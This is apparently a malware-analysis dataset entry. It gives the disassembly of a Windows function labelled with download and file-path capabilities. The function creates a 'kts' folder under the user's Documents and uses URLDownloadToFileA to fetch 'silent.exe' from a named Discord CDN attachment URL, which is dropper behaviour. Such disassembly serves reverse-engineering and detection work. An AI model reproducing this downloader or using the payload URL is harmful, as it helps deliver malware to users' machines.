Function at 0x4046a0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442f13
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1c0
mov eax, dword [0x44e040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x178], 0
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x40471b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Erreur_lors_de_lobtention_du_chemin_des_Documents._n
call fcn.00405400
xor al, al
jmp 0x404b76
push 3
push 0x448d44
call fcn.00441557
mov edx, eax
lea ecx, [ebp - 0x1ac]
call fcn.00403400
add esp, 8
lea esi, [ebp - 0x120]
mov dword [ebp - 4], 0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404750
sub ecx, edx
push ecx
push esi
call fcn.00441557
mov edx, eax
lea ecx, [ebp - 0x194]
call fcn.00403400
lea eax, [ebp - 0x1ac]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x150]
call fcn.004039a0
add esp, 0xc
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x180]
cmp ecx, 7
jbe 0x4047cc
mov edx, dword [ebp - 0x194]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4047c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40481f
push ecx
push edx
call fcn.00441a13
add esp, 8
xor eax, eax
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 7
mov word [ebp - 0x194], ax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x198]
cmp ecx, 7
jbe 0x40482f
mov edx, dword [ebp - 0x1ac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404825
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404825
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00441a13
add esp, 8
xor eax, eax
mov dword [ebp - 0x19c], 0
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x198], 7
mov word [ebp - 0x1ac], ax
call fcn.00404540
test al, al
jne 0x4048ad
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Le_dossier_kts_nexiste_pas__cr
call fcn.00405400
cmp dword [ebp - 0x13c], 7
lea eax, [ebp - 0x150]
cmova eax, dword [ebp - 0x150]
push eax
call fcn.004416cb
test edx, edx
jne 0x404b94
test al, al
jne 0x4048ad
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Erreur_lors_de_la_cr
call fcn.00405400
mov byte [ebp - 0x151], 0
jmp 0x404b2e
push 0xa
push str.silent.exe
call fcn.00441557
mov edx, eax
lea ecx, [ebp - 0x1c4]
call fcn.00403400
lea eax, [ebp - 0x1c4]
mov byte [ebp - 4], 5
push eax
lea edx, [ebp - 0x150]
lea ecx, [ebp - 0x138]
call fcn.004039a0
add esp, 0xc
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x1b0]
cmp ecx, 7
jbe 0x40492b
mov edx, dword [ebp - 0x1c4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404921
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404921
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00441a13
add esp, 8
xor eax, eax
mov dword [ebp - 0x1b4], 0
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x1b0], 7
mov word [ebp - 0x1c4], ax
call fcn.00404540
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
jne 0x404ac4
mov edx, str.Le_fichier_silent.exe_nexiste_pas__t
call fcn.00405400
cmp dword [ebp - 0x124], 7
lea edi, [ebp - 0x138]
mov esi, dword [ebp - 0x128]
cmova edi, dword [ebp - 0x138]
mov dword [ebp - 0x17c], edi
call fcn.00441557
mov dword [ebp - 0x158], eax
mov byte [ebp - 4], 8
xorps xmm0, xmm0
mov dword [ebp - 0x164], 0
mov ecx, 0xf
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x178], 0x23f
movups xmmword [ebp - 0x174], xmm0
mov byte [ebp - 0x174], 0
test esi, esi
je 0x404a33
cmp esi, 0x7fffffff
ja 0x404ba0
push 0
push 0
push esi
push edi
push eax
call fcn.004415a9
mov edi, eax
test edx, edx
jne 0x404ba5
push ecx
push edi
lea ecx, [ebp - 0x174]
call fcn.00405280
cmp dword [ebp - 0x160], 0xf
lea eax, [ebp - 0x174]
push edi
cmova eax, dword [ebp - 0x174]
push eax
push esi
push dword [ebp - 0x17c]
push dword [ebp - 0x158]
call fcn.004415a9
test edx, edx
jne 0x404bac
mov ecx, dword [ebp - 0x160]
push 0
cmp ecx, 0xf
mov dword [ebp - 4], 7
push 0
lea eax, [ebp - 0x174]
cmova eax, dword [ebp - 0x174]
push eax
push str.https:__cdn.discordapp.com_attachments_1297873331793428501_1298258000603119686_silent.exe_ex6718e87bis671796fbhm7101ced60f3aceb28afb5e74bb9b061c563896dd65e44a9549edc3f48c7c5358
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x160]
mov esi, eax
cmp ecx, 0xf
jbe 0x404a9a
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404a90
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00441a13
add esp, 8
test esi, esi
je 0x404ab7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, 0x448ec0
call fcn.00405400
mov byte [ebp - 0x151], 0
jmp 0x404ad5
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x448ee8
jmp 0x404ac9
mov edx, str.Le_fichier_silent.exe_existe_d
call fcn.00405400
mov byte [ebp - 0x151], 1
mov ecx, dword [ebp - 0x124]
cmp ecx, 7
jbe 0x404b11
mov edx, dword [ebp - 0x138]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404b07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404b60
push ecx
push edx
call fcn.00441a13
add esp, 8
xor eax, eax
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 7
mov word [ebp - 0x138], ax
mov ecx, dword [ebp - 0x13c]
cmp ecx, 7
jbe 0x404b70
mov edx, dword [ebp - 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404b66
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404b66
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00441a13
add esp, 8
mov al, byte [ebp - 0x151]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004419d0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea eax, [ebp - 0x150]
push eax
call fcn.00404420
call fcn.00403140
mov ecx, edx
call fcn.004033d0
mov ecx, edx
call fcn.004033d0
int3